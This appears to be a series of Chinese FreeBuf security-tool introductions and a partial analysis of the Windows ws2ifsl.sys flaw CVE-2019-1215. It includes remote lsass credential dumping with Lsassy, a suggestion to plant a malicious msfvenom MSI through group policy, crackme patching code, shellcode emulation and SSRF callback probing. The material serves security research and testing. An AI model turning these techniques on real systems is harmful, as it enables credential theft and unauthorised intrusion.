Qiling是一款功能强大的高级代码模拟框架,该工具由Unicorn引擎驱动,并且拥有下列功能:

1、跨平台支持:Windows、macOS、Linux、BSD;

2、跨架构支持:x86、x86_64、ARM、ARM64等等;

3、多文件结构支持:PE、MachO、ELF;

4、在隔离环境中模拟&沙盒系统代码;

5、提供高级API来安装和配置沙盒环境;

6、细粒度显示:允许设置多种级别的钩子(instruction/basic-block/memory-access/exception/syscall/IO等等);

7、允许动态修补运行中的程序代码,包括已加载的库;

8、Python框架支持,允许构建和定制安全分析工具;

Qiling与其他模拟器对比

目前,社区有很多开源的模拟器,最接近Qiling的就是Unicorn和Qemu了。

Qiling vs Unicorn引擎

虽然Qiling 时基于Unicorn实现的,但是它们两个完全不同:

1、Unicorn只是一个CPU模拟器,它主要针对的是模拟CPU指令。Unicorn无法识别高级概念,例如动态库、系统调用、I/O处理或类似PE、MachO或ELF这样的可执行文件格式。因此,Unicorn只能够模拟原始设备指令,无法适用于操作系统上下文场景。

2、Qiling是一个高级框架,它可以利用Unicorn来模拟CPU指令,但是它同样可以理解操作系统上下文,它集成了可执行文件格式加载器、动态链接、系统调用和I/O处理器。更重要的是,Qiling可以在不需要原生操作系统的环境下运行可执行文件源码。

Qiling vs Qemu用户模式

Qemu用户模式跟我们的Qiling类似,它可以跨架构模拟整个可执行文件的源码。但是,Qiling的不同之处在于:

1、Qiling是一个真正的分析框架,它允许我们构建自己的动态分析工具(使用Python)。除此之外,Qemu只是一款工具,而不是一个框架。

2、Qiling可以执行动态指令,并且能够在运行时进行代码修补,这一点Qemu就无法做到了。

3、Qiling支持跨平台,但是Qemu用户模式只能在与源代码环境相同的操作系统上使用。

4、Qiling支持更多的平台,包括Windows、macOS、Linux&BSD,但Qemu用户模式只支持Linux&BSD。

工具安装

广大研究人员可以使用下列命令安装Qiling(注意:安装前请搭建好Python 3环境):

python3 setup.py install

工具使用样例

在下面的例子中,我们将演示如何使用Qiling框架来在一台Linux设备上模拟目标Windows可执行文件:

from qiling import *

# sandbox to emulate the EXE
def my_sandbox(path, rootfs):
    # setup Qiling engine
    ql = Qiling(path, rootfs)
    # now emulate the EXE
    ql.run()

if __name__ == "__main__":
    # execute Windows EXE under our rootfs
    my_sandbox(["examples/rootfs/x86_windows/bin/x86-windows-hello.exe"], "examples/rootfs/x86_windows")

在下面的例子中,我们将演示如何使用Qiling框架对Windows crackme进行动态修复,并在“Congratulation”对话框中显示相关信息:

from qiling import *

def force_call_dialog_func(ql):
    # get DialogFunc address
    lpDialogFunc = ql.unpack32(ql.mem_read(ql.sp - 0x8, 4))
    # setup stack memory for DialogFunc
    ql.stack_push(0)
    ql.stack_push(1001)
    ql.stack_push(273)
    ql.stack_push(0)
    ql.stack_push(0x0401018)
    # force EIP to DialogFunc
    ql.pc = lpDialogFunc


def my_sandbox(path, rootfs):
    ql = Qiling(path, rootfs)
    # NOP out some code
    ql.patch(0x004010B5, b'\x90\x90')
    ql.patch(0x004010CD, b'\x90\x90')
    ql.patch(0x0040110B, b'\x90\x90')
    ql.patch(0x00401112, b'\x90\x90')
    # hook at an address with a callback
    ql.hook_address(0x00401016, force_call_dialog_func)
    ql.run()


if __name__ == "__main__":
    my_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows")

工具演示视频

Qiling DEMO 1:动态修复Windows crackme

视频地址:https://v.qq.com/x/page/m3061ozrz3s.html

Wannacry  DEMO:如何使用Qiling分析Wannacry恶意软件

视频地址:https://v.qq.com/x/page/h3061l4445g.html

Qltool

Qiling还提供了一个名为qltool的强大工具,它可以帮助我们快速模拟出目标Shellcode或可执行文件的源码。

下面这条命令可以直接对目标源码进行模拟:

$ ./qltool run -f examples/rootfs/arm_linux/bin/arm32-hello --rootfs examples/rootfs/arm_linux/

如需模拟Shellcode,则需要运行下列命令:

$ ./qltool shellcode --os linux --arch x86 --asm -f examples/shellcodes/lin32_execve.asm

许可证协议

Qiling项目的开发与发布遵循GPLv2开源许可证协议

项目地址

Qiling:【GitHub传送门

* 参考来源:qilingframework,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

今天,我们将跟大家介绍Lsassy这款功能强大的工具,广大研究人员可以利用Lsassy来从目标设备的lsass中远程提取出用户凭证。

lsass介绍

lsass.exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。如果结束该进程,会出现不可知的错误。但是,lsass.exe也有可能是Windang.worm、irc.ratsou.b、Webus.B、MyDoom.L、Randex.AR、Nimos.worm等病毒创建的,病毒通过软盘、群发邮件和P2P文件共享进行传播。

Lsassy

Lsassy是一个Python库,它可以批量从目标主机中远程提取用户凭证。这个Python库使用了impacket项目来从lsass导出数据中远程读取所需要的字节内容,并使用了pypykatz来提取用户凭证。

工具要求

Python >= 3.6

netaddr

pypykatz>= 0.3.0

Impacket

工具安装

使用pip进行安装:

python3.7 -m pip install lsassy

使用源码安装:

python3.7 setup.py install

CrackMapExec模块

本项目中的CrackMapExec模块可以使用Lsassy来从受感染的主机中提取用户凭证。

CrackMapExec模块位于cme目录中:CME Module

CrackMapExec模块允许我们自动化实现整个提取过程,并且直接将目标用户的登陆凭证显示在Lsassy的输出结果中。除此之外,它还可以帮助我们根据攻击路径来检测用户账号,并提权为域管理员账号。

工具机制

Lsassy使用了三种不同的方法来从lsass中导出用户凭证:

1、使用了comsvcs.dll这个DLL以及rundll32.exe可执行程序,这种方法只会使用内置的Windows工具。

2、使用了procdump.exe。如果使用了这种方法,procdump.exe则需要从攻击者的主机上传至目标用户的主机,并远程执行该程序。

3、使用了dumpert.exe。如果使用了这种方法,dumpert.exe则需要从攻击者的主机上传至目标用户的主机,并远程执行该程序。

工具运行截图

项目地址

Lsassy:【GitHub传送门

参考资料

1、https://en.hackndo.com/remote-lsass-dump-passwords/

2、https://github.com/SecureAuthCorp/impacket

3、https://github.com/skelsec/pypykatz

4、https://github.com/Hackndo/lsassy/wiki

5、https://github.com/Hackndo/lsassy/tree/master/cme

6、https://twitter.com/mpgn_x64

* 参考来源:Hackndo,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

GDA(GJoy Dex Analysizer)

GDA是一款完全基于C++开发的新型反编译工具,因此该工具并不仅依赖于Java平台。该工具使用起来非常方便,而且运行速度非常快,支持APK、DEX、OBED和oat等文件格式。

实际上,GDA是一款新型的Dalvik字节码反编译工具。该工具是完全独立的,并且运行非常稳定,并且能够在没有安装Java VM的环境下运行。GDA的大小只有2MB,我们可以直接在任何新安装的Windows操作系统或虚拟机系统中使用该工具,无需进行额外配置。此外,GDA还有以下更加出色的功能:

功能介绍

交互式操作

1、字符串、类、方法和域的交叉引用;

2、搜索字符串、类方法和域;

3、Java代码注释;

4、方法、域、类的重命名;

5、将分析结果存储至GDA数据库文件中;

辅助分析实用程序

1、从ODEX中提取DEX;

2、从OAT中提取DEX;

3、XML解码器;

4、算法工具;

5、设备内存导出;

新功能

1、采用C++开发的全新Dalvik反编译工具;

2、有好的GUI界面;

3、支持Python脚本;

4、封装器识别;

5、多DEX支持;

6、反混淆支持;

7、扫描恶意API链;

8、等等……

工具安装

目前,广大用户可以将项目源码直接克隆至本地,然后鼠标双击bin文件即可开始使用。下载命令如下:

git clone https://github.com/charles2gan/GDA-android-reversing-Tool.git

算法工具

该工具支持下列算法:

1、散列算法:md2 md4 md5 sha sha1 sha224 sha256 sha384 sha512

2、对称加密:des idea rc2 rc4 rc4-40 rc2-40 rc2-64 bf cast5 aes(128192256),具有ecb cbc ofb cfb等模式,其他模式例如(cfb1 cfb8)

3、RSA编码算法:base62,base64

工具运行截图

文件加载和反编译

恶意软件扫描、API查询、x-ref…

Url、Xml、字符串x-ref…

变量追踪

项目地址

GDA:【GitHub传送门

* 参考来源:charles2gan,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

0.png

Grouper2是一款针对AD组策略安全的渗透测试工具,该工具采用C#开发,在Grouper2的帮助下,渗透测试人员可以轻松在活动目录组策略中查找到安全相关的错误配置。

当然了,你也可以使用Grouper2来做其他的事情,但严格意义上来说,Grouper2并非专业的审计工具。如果你想要检查自己的组策略配置安全性是否符合某种标准,那你可能还需要使用微软的安全合规性套件(Security Compliance Toolkit)。

简而言之,Grouper2可以将组策略中所有你感兴趣的数据全部导出给你,然后尝试去利用其中可能存在的安全问题。

Grouper2与Grouper对比

Grouper的特性如下:

1、要求用户在一台已加入域中的计算机上安装GPMC或RSAT等组件。

2、用户需要通过Get-GPOReport PowerShell命令行工具生成XML报告。

3、需要向Grouper提供报告。

4、会生成大量数据,用户需要从中过滤并筛选出有价值的内容。

Grouper2不需要依赖于Get-GPOReport,但是它仍然需要解析各种不同的文件格式。Grouper2的特性如下:

1、更准确的文件权限检测,不需要磁盘磁盘读写。

2、不会忽略GPP密码。

3、提供HTML输出选项。

4、多线程支持

5、支持离线运行。

工具下载

广大用户可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/l0ss/Grouper2.git

工具使用

该工具的使用也非常简单,用户只需要在一台已加入域的设备上,以域用户身份运行Grouper2的可执行程序即可,程序运行完成后默认会输出JSON格式的报告。如果生成的JSON报告格式有问题,用户还可以使用-g选项来优化输出结果。

当然了,如果你需要更加“格式化”的报告,你还可以使用-f “$FILEPATH.html”来生成HTML格式的报告。

如果生成报告中的数据量过大,你还可以设置一个“兴趣等级”,通过使用-i $INT选项即可设置等级,比如说-i 10。

如果你不想对旧策略进行分析,你还可以直接使用-c选项来跳过这些策略。

如果你想提升工具的运行速度,你还可以通过-t $INT选项来设置工具的运行线程数量,该参数默认值为10。

如果你还需要了解该工具的其他运行选项,可以使用-h参数。

工具使用样例

首先,我们一起看看下面这张工具运行截图:

1.png

在上图中,我们可以看到其中有一个名为“Assigned Application”的策略,这个策略已经应用到了域中的计算机,但是MSI文件却丢失了,而且安装目录的权限是当前用户可写入的。

如果你创建了一个恶意的MSI,比如说通过msfvenom创建,那么你就可以修改它让它匹配图片底部的UID,那么它就可以直接在目标设备上执行了。

2.png

在上图中我们可以看到,很明显某个用户对注册表中的ACLS做了一些什么…

当然了,广大研究人员可以根据自己的需要来使用Grouper2,但请不要将其使用于而已用途。

项目地址

Grouper2:【GitHub传送门】 

*参考来源:kitploit,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

See-SURF

See-SURF是一款基于Python开发的扫描工具,它可以帮助安全研究人员查找并发现目标Web应用程序中潜在的SSRF参数。

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

在Web安全领域中,SSRF毫无疑问已经成为了一种严重的安全漏洞,但是行业内貌似我没看到有工具能够自动查找这种类型漏洞参数的工具。因此,See-SURF便应运而生,它可以帮助我们在进行漏洞搜索或Web安全测试时,提供很大的帮助。

工具依赖

Python 3

功能介绍

1、可以接收Burp的sitemap作为输入,并使用强大的正则表达式匹配语句来解析文件,并匹配任何包含了潜在SSRF漏洞关键词的GET/POST URL参数,比如说URL或站点信息等等。除此之外,它还可以检测任意URL或IP地址中的参数值。下面给出的是可分析的样本GET请求:

google.com/url=https://yahoo.com

google.com/q=https://yahoo.com

FORMS -

<input type="text" name="url" value="https://google.com" placeholder="https://msn.com">

2、内置多线程网络爬虫,能够尽可能多地收集数据,并解析和识别潜在的SSRF参数。

3、提供了cookie以便支持认证扫描。

4、默认配置下,工具已常规模式运行,开启Verbose模式后,我们将能够查看到不同终端节点的各种漏洞参数。样例如下:

https://google.com/path/1/urlToConnect=https://yahoo.com

https://google.com/differentpath/urlToConnect=https://yahoo.com

5、漏洞利用:向Burp Collaboraor或其他HTTP服务器发送包含漏洞参数的外部请求,以确认SSRF漏洞的有效性。

工具安装

git clonehttps://github.com/In3tinct/See-SURF.git

cd See-SURF/

pip3 install BeautifulSoup4

pip3 install requests

工具使用

下面这条命令将以默认线程=10的配置运行See-SURF,未开启cookie/session,未开启Verbose模式:

python3 see-surf.py -H https://www.google.com

提供Cookie,以空格隔开,实现认证会话爬取:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2

开启Verbose模式,设置Cookie:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2 -t 20 -v

其他使用样例:

https://google.com/abc/1/urlToConnect=https://yahoo.com

https://google.com/123/urlToConnect=https://yahoo.com

Burp使用样例

Burp Sitemap(-b和-p)

完整的命令样例:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2 -b burp_file.xml -p http://72.72.72.72:8000

-b参数可以提供Burp Sitemap文件,以便更好地发现潜在的SSRF参数。这个脚本首先回解析Burp文件,并尝试查找潜在的参数,然后针对目标运行内置的爬虫。

在BurpSuite中查看待分析目标,发送某些GET/POST请求,数量越多越好。然后点击“Target”标签,右键点击“Save selected Items”,然后保存。提供的脚本运行参数如下:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2 -b burp_file.xml

-p参数将会开启BurpSuite Collaborator,并向主机传递-p参数,或者开启一个Python Http服务器,并等待漏洞参数以执行请求。此时,Payload将会带参数执行,参考样例如下:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2 -p http://72.72.72.72:8000

工具运行截图

许可证协议

See-SURF的开发与发布遵循GNU v3开源许可证协议。

项目地址

See-SURF:【GitHub传送门

* 参考来源:In3tinct,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

MassDNS是一款功能强大的高性能DNS stub解析工具,它可以帮助研究人员解析数百万甚至上亿个域名。在没有特殊配置的情况下,MassDNS可以利用公共可用的解析器每秒钟解析超过350000个域名。

项目编译

首先,使用下列命令将MassDNS源码克隆至本地目录中:

git clone https://github.com/blechschmidt/massdns.git

使用cd命令切换到本地项目目录中:

cd massdns

接下来,运行”make”命令构建源码。

如果你使用的不是Linux操作系统,那么则需要运行下列命令:

make nolinux

在Windows平台下,你还需要安装Cygwin包、gcc-core、git和make。

工具使用

Usage: ./bin/massdns [options] [domainlist]

  -b  --bindto           Bind to IP address and port. (Default: 0.0.0.0:0)

      --busy-poll        Use busy-wait polling instead of epoll.

  -c  --resolve-count    Number of resolves for a name before giving up. (Default: 50)

      --drop-group       Group to drop privileges to when running as root. (Default: nogroup)

      --drop-user        User to drop privileges to when running as root. (Default: nobody)

      --flush            Flush the output file whenever a response was received.

  -h  --help             Show this help.

  -i  --interval         Interval in milliseconds to wait between multiple resolves of the same

                         domain. (Default: 500)

  -l  --error-log        Error log file path. (Default: /dev/stderr)

      --norecurse        Use non-recursive queries. Useful for DNS cache snooping.

  -o  --output           Flags for output formatting.

      --predictable      Use resolvers incrementally. Useful for resolver tests.

      --processes        Number of processes to be used for resolving. (Default: 1)

  -q  --quiet            Quiet mode.

      --rcvbuf           Size of the receive buffer in bytes.

      --retry            Unacceptable DNS response codes. (Default: REFUSED)

  -r  --resolvers        Text file containing DNS resolvers.

      --root             Do not drop privileges when running as root. Not recommended.

  -s  --hashmap-size     Number of concurrent lookups. (Default: 10000)

      --sndbuf           Size of the send buffer in bytes.

      --sticky           Do not switch the resolver when retrying.

      --socket-count     Socket count per process. (Default: 1)

  -t  --type             Record type to be resolved. (Default: A)

      --verify-ip        Verify IP addresses of incoming replies.

  -w  --outfile          Write to the specified output file instead of standard output.

Output flags:

  S - simple text output

  F - full text output

  B - binary output

  J - ndjson output

如果你需要查看更详细的操作选项以及帮助手册(尤其是输出格式),你可以使用“–help”命令。

工具使用样例

解析目标域名(位于lists的resolvers.txt中)的AAAA记录,并将结果存储至result.txt中:

$ ./bin/massdns -r lists/resolvers.txt -t AAAA domains.txt > results.txt

或者运行下列命令:

$ ./bin/massdns -r lists/resolvers.txt -t AAAA -w results.txt domains.txt

样本输出

默认配置下,MassDNS将会输出响应数据包,格式为文本格式,输出样例如下:

;; Server: 77.41.229.2:53

;; Size: 93

;; Unix time: 1513458347

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51298

;; flags: qr rd ra ; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:

example.com. IN A

;; ANSWER SECTION:

example.com. 45929 IN A 93.184.216.34

;; AUTHORITY SECTION:

example.com. 24852 IN NS b.iana-servers.net.

example.com. 24852 IN NS a.iana-servers.net.

输出结果包含了解析的IP地址,可以帮助我们轻松对输出结果进行过滤。

数据解析

代码库中包含了一个名为resolvers.txt的文件,其中包含了一套有subbrute项目提供的已过滤的解析器子集。请注意,MassDNS的使用可能会提升系统/网络负载,因为需要加载大量解析器,具体将取决于你的ISP。

MassDNS的DNS解析实现目前还不完整,只支持最常见的一些记录类型。欢迎您通过代码贡献来帮助改变这种状况。

PTR记录

MassDNS包含了一个Python脚本,允许我们解析所有的IPv4 PTR记录:

$ ./scripts/ptr.py | ./bin/massdns -r lists/resolvers.txt -t PTR -w ptr.txt

请注意,in-addr.arpa中的标签会被反转。为了解析域名为1.2.3.4的地址,MassDNS将需要以“4.3.2.1.in-addr.arpa”的方式来作为输入查询名称。此时,Python脚本并不会按升序解析记录,这样可以避免在IP v4子网的域名服务器上突然出现的负载激增。

网络侦察&爆破子域名

注意:请不要随意使用该工具,适当调整-s参数以避免给权威域名服务器造成负载压力。

subbrute类似,MassDNS允许我们使用subbrute.py脚本来对子域名进行爆破枚举:

$ ./scripts/subbrute.py lists/names.txt example.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w results.txt

作为一种额外的网络侦察手段,ct.py脚本可以从crt.sh中抓取数据,并从证书透明日志中提取子域名:

$ ./scripts/ct.py example.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w results.txt

工具运行截图

安全性

MassDNS的运行不需要Root权限, 我们建议用户以非特权用户的身份运行MassDNS。除此之外,我们不建议大家使用“–root”参数来运行。另外,除了Master以外的其他分支不适用于生产环境。

项目地址

MassDNS:【GitHub传送门

* 参考来源:blechschmidt,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

1.jpg

Socialscan是一款社交账号搜索工具,它可以帮助用户检测在线平台上已注册的邮件地址以及用户名,并且准确率为100%。用户只需要提供一个邮件地址或者用户名,Socialscan可以告诉你这个邮件或用户名在当前的在线平台上是否可用。

Socialscan跟其他类似工具(例如knowem.com、Namechk和Sherlock)的不同之处在于:

1、100%准确率:Socialscan的查询方法消除了目前社区中类似工具经常出现的误报和漏报,确保查询结果始终准确。

2、查询速度:Socialscan使用了asyncio和aiohttp来同时执行所有查询,即使批量查询数百个用户名和电子邮件地址,Socialscan也能够快速提供准确的搜索结果。在我们的测试设备上,Socialscan在4秒内可以执行100次查询。

3、Python库/命令行:Socialscan可以通过命令行工具来执行,或者以Python库的形式在其他代码中使用。

4、电子邮件支持:Socialscan支持查询电子邮件地址和用户名。

Socialscan支持的平台

下面给出的是Socialscan当前支持的查询平台:

11.png

工具背景

社区中类似的用户名查询工具通过请求目标用户名的配置页面来检查用户名的可用性,并根据请求页上的HTTP状态码或错误文本等信息来判断目标用户名是否存在。这种方法其实并不可靠,并且在以下情况失效:

1、保留关键字:大多数平台都有一组不允许用户在用户名中使用的关键词;

2、删除/禁用账户:删除/禁用帐户用户名往往是不可用的,即使配置文件页可能不存在;

因此,这些工具往往会出现误报和漏报。这种检查方法还依赖于具有基于web的配置文件页面的平台,并且不能扩展到电子邮件地址。

Socialscan的目标是通过直接查询平台的注册服务器,检索适当的CSRF令牌、头和cookie来填补这些空白。

工具安装

使用pip安装:

> pip install socialscan

通过源码安装:

> git clone https://github.com/iojw/socialscan.git  

> cd socialscan  

> pip install .

工具使用

usage: socialscan [list of usernames/email addresses to check]

 

optional arguments:

  -h, --help            show this help message and exit

  --platforms [platform [platform ...]], -p [platform [platform ...]]

                        list of platforms to query (default: all platforms)

  --view-by {platform,query}

                        view results sorted by platform or by query (default:

                        query)

  --available-only, -a  only print usernames/email addresses that are

                        available and not in use

  --cache-tokens, -c    cache tokens for platforms requiring more than one

                        HTTP request (Snapchat, GitHub, Instagram. Lastfm &

                        Tumblr), reducing total number of requests sent

  --input input.txt, -i input.txt

                        file containg list of queries to execute

  --proxy-list proxy_list.txt

                        file containing list of HTTP proxy servers to execute

                        queries with

  --verbose, -v         show query responses as they are received

  --version             show program's version number and exit

作为Python库使用

Socialscan还可以作为Python库的形式导入到已有代码之中。

Socialscan v1.0.0引入了异步方法execute_queries,以及对应的同步封装器sync_execute_queries来接收查询列表、可选平台列表以及代理。所有的查询方法都会按相同顺序返回一个结果列表:

from socialscan.util import Platforms, sync_execute_queries

 

queries = ["username1", "[email protected]", "[email protected]"]

platforms = [Platforms.GITHUB, Platforms.LASTFM]

results = sync_execute_queries(queries, platforms)

for result in results:

print(f"{result.query} on {result.platform}: {result.message} (Success: {result.success}, Valid: {result.valid}, Available: {result.available})")

输出结果如下:

username1 on GitHub: Username is already taken (Success: True, Valid: True, Available: False)

username1 on Lastfm: Sorry, this username isn't available. (Success: True, Valid: True, Available: False)

[email protected] on GitHub: Available (Success: True, Valid: True, Available: True)

[email protected] on Lastfm: Sorry, that email address is already registered to another account. (Success: True, Valid: True, Available: False)

[email protected] on GitHub: Available (Success: True, Valid: True, Available: True)

[email protected] on Lastfm: Looking good! (Success: True, Valid: True, Available: True)

文本文件输入

对于批量查询,用户可以使用“–input”参数来传入一个.txt文件,用户可以在该文件中写入需要查询的用户名或电子邮件,每一条记录占一行:

username1

[email protected]

username3

工具运行截图

2.gif3.gif

许可证协议

Socialscan的开发与发布遵循MPL v2.0开源许可证协议。

项目地址

Socialscan:【GitHub传送门

*参考来源:iojw,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

ReconCobra

今天给大家介绍的是一款名叫ReconCobra的全自动渗透测试框架,该框架可以帮助安全研究人员在研究的信息收集阶段自动化完成绝大部分的任务。本质上来说,ReconCobra是一款指纹识别与收集框架,该框架目前支持在Kali、Parrot OS、Black Arch、Termux和Android Led TV平台上运行。

框架接口

软件框架拥有82个不同的操作选项,并且完全自动化实现了功能强大的信息收集能力:

工具运行

ReconCobra特性

1、ReconCobra对于银行、私人组织和安全研究人员来说非常有价值。

2、ReconCobra可以被视作是一种防御技术,它可以帮助我们尽可能多地找到有价值的信息,以及未经授权的访问和入侵行为。

3、随着新技术的出现,网络犯罪分子也找到了更多入侵目标组织体系的方法和途径,ReconCobra便应运而生。

4、ReconCobra可以审计防火墙行为,并寻找内部以及外部网络中的相关软件,如ERP、邮件防火墙和不安全的服务器等等,以便研究人员能够尽可能多地收集目标的指纹、和相关信息,例如用户名、Web技术架构、文件、终端节点和API接口等等。

5、ReconCobra也是阻止网络犯罪的第一步,它可以有效保护我们的基础设施不会发生信息泄露。除此之外,ReconCobra是无假阳性的。

工具整合

ReconCobra的功能实现还整合了Tigerman Root软件包。

工具安装

Kali安装

广大用户可以使用下列命令在Kali平台下完成工具的安装与构建:

git clone https://github.com/haroonawanofficial/ReconCobra.git

cd Reconcobra

sudo chmod u+x *.sh

./Kali_Installer.sh

安装完成之后,ReconCobra将以系统软件的形式呈现,依赖组件将会自动完成安装,第三方软件即模块同样会自动安装。

Parrot OS安装

广大用户可以使用下列命令在Parrot OS平台下完成工具的安装与构建:

git clone https://github.com/haroonawanofficial/ReconCobra.git

cd Reconcobra

chmod u+x *.sh

Bash ParrotOS_Installer.sh

安装完成之后,ReconCobra将以系统软件的形式呈现,依赖组件将会自动完成安装,第三方软件即模块同样会自动安装。

Termux安装

广大用户可以使用下列命令在Termux平台下完成工具的安装与构建:

git clone https://github.com/haroonawanofficial/ReconCobra.git

cd Reconcobra

chmod u+x *.sh

pkg install proot

type: termux-chroot

./Termux_Installer.sh

./Termux_fixme.sh

安装完成后,重启Termux,然后运行下列命令:

perl ReconCobraTermux.pl

依赖组件将会自动完成安装,第三方软件即模块同样会自动安装。

Black Arch安装

广大用户可以使用下列命令在Black Arch平台下完成工具的安装与构建:

git clone https://github.com/haroonawanofficial/ReconCobra.git

cd Reconcobra

chmod u+x *.sh

./BlackArch_Installer.sh

安装完成之后,ReconCobra将以系统软件的形式呈现,依赖组件将会自动完成安装,第三方软件即模块同样会自动安装。

API接口

1、针对Python模块,可以从censys.io获取我们的API和密钥-censys.py

2、针对Python模块,可以从securitytrails.com获取我们的API和密钥-vasl/vasl.py

项目地址

ReconCobra:【GitHub传送门

参考资料

1、https://codeby.net/threads/reconcobra.68782

2、https://www.facebook.com/1470285456587684/posts/reconcobra-ultimate-recon-software-for-information-gatheringbrief-introductionre/2351883108427910/

3、https://raidforums.com/Thread-reconcobra-Ultimate-Recon-Software-for-Information-Gathering

4、https://psdrepo.blogspot.com/2019/08/codebynet_14

5、https://vaultdomain.com/reconcobrathe-ultimate-recon-software-for-information-gathering-osint/

* 参考来源:haroonawanofficial,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

在这篇文章中,我们将对近期刚刚修复的用后释放漏洞(CVE-2019-1215)进行分析,该漏洞存在于ws2ifsl.sys中,一旦成功利用,攻击者将有可能实现本地提权。在此之前,Windows 7、Windows 8、Windows 10、Windows 2008、Windows 2012和Windows 2019都存在这个漏洞,但是微软已经在2019年9月份成功将其修复了。

接下来,我们将对漏洞的成因进行分析,并尝试在Windows 10 19H1(1903)x64平台上进行测试。

ws2ifsl介绍

ws2ifsl组件是一个与winsocket相关的驱动程序,这个驱动程序可以实现两个对象:

一个进程对象

一个socket对象

这个驱动程序实现了几个调度程序,在调用NtCreateFile时,文件名会被设置为\Device\WS2IFSL\,将调用DispatchCreate函数,函数将根据文件名中的_FILE_FULL_EA_INFORMATION.EaName字符串进行判断,如果是NifsPvd,它将调用CreateProcessFile,如果是NifsSct,它将调用CreateSocketFile。

CreateSocketFile和CreateProcessFile函数都创建内部对象,称为“procData”和“socketData”。创建后,这些对象将保存在文件对象的_FILE_OBJECT.FsContext中,而这个文件对象是在dispatch routine中创建的。

文件对象可以在用户模式中访问,即从NtCreateFile返回的句柄对象。该句柄可用于执行DeviceIoControl或调用WriteFile。“procData”和“sockedData”对象并没有直接引用ObfReferenceObject和ObfDereferenceObject,而是引用了底层的文件对象。除此之外,驱动程序实现了两个APC对象,分别为“request queue”和“cancel queue”。APC机制是在另一个线程中异步执行函数,因为可以在另一个线程中强制执行多个APC,所以内核实现了一个队列,其中存储了所有要执行的APC。

“procData”对象包含这两个APC对象,并由CreateProcessFile在initializerqueue和InitializeCancelQueue中初始化。一个APC对象由KeInitializeApc初始化,并接收一个目标线程和一个函数作为参数。此外,还设置了处理器模式(内核或用户模式)以及RundownRoutine。如果是ws2ifsl,则RundownRoutine为 RequestRundownRoutine和 CancelRundownRoutine,则处理器模式设置为用户模式。这些RundownRoutine用于清理,如果线程有机会在APC内部执行之前死亡,则由内核调用。之所以会发生这种情况,是因为仅当APC设置为alertable状态时,才进入线程内执行它。例如,如果调用SleepEx时第二个参数设置为TRUE,则可以将线程设置为alertable状态。

驱动程序还在DispatchReadWrite中实现了一个读写dispatch的程序,并且只有socket对象可访问,它还可以调用DoSocketReadWrite。这个函数通过调用SignalRequest函数并使用nt!KeInsertQueueApc函数来将APC元素添加到APC队列中。

与驱动进行通信

在某些情况下,驱动程序将会自动创建符号链接,并且其名称可以用作CreateFileA的文件名 ,但是ws2ifsl并非如此。它只能在nt!IoCreateDevice的DeviceName设置为 ‘DeviceWS2IFSL’情况下调用。但是,我们通过调用本地API NtOpenFile,就可以访问派遣函数ws2ifsl!DispatchCreate了。相关代码如下:

HANDLE fileHandle = 0;

UNICODE_STRING deviceName;

RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL");

OBJECT_ATTRIBUTES object;

InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

IO_STATUS_BLOCK IoStatusBlock ;

NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);

DispatchCreate函数会检查调用的扩展属性,该属性只能通过NtCreateFile系统调用进行设置。

针对process对象,扩展属性(ea)数据缓冲区中必须包含一个属于当前进程的线程句柄,在之后的才做中将需要使用到这个线程句柄。

补丁分析

首先,我们需要对ws2ifsl未修复版本(10.0.18362.1)和修复版本(10.0.18362.356)进行对比。

修复的函数如下:

CreateProcessFile

DispatchClose

SignalCancel

SignalRequest

RequestRundownRoutine

CancelRundownRoutine

修复后的版本多了一个函数:

DereferenceProcessContext

其中最明显的是,所有修复后的函数都包含了针对新函数DereferenceProcessContext的调用:

“procData”对象新增了一个新成员,并使用了引用计数。比如说,在负责所有初始化的CreateProcessFile中,这个新成员都被设置为1。

旧版本:

procData->tag = 'corP';

*(_QWORD *)&procData->processId = PsGetCurrentProcessId();

procData->field_100 = 0;

新版本:

procData->tag = 'corP';

*(_QWORD *)&procData->processId = PsGetCurrentProcessId();

procData->dword100 = 0;

procData->referenceCounter = 1i64; // new

DereferenceProcessContex函数将会检查引用计数,并调用nt!ExFreePoolWithTag。

新版的DispatchClose函数将从调用nt!ExFreePoolWithTag改变为调用DereferenceProcessContext,也就是说,如果引用计数不是零,那么“procData”将不会被释放,只会将其引用计数递减一。

修复后的SignalRequest会在调用nt!KeInsertQueueApc之前增加referenceCounter。

漏洞之所以会存在,就是因为即使请求一个已在队列中的APC,DispatchClose函数仍然可以释放“procData”对象。每当关闭文件句柄的最后一个引用时(通过调用CloseHandle),就会调用DispatchClose函数。

